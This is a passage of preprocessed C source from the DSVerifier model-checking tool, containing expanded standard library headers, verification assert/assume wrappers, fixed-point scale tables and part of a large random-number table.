struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__CPROVER_assume(expression);
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 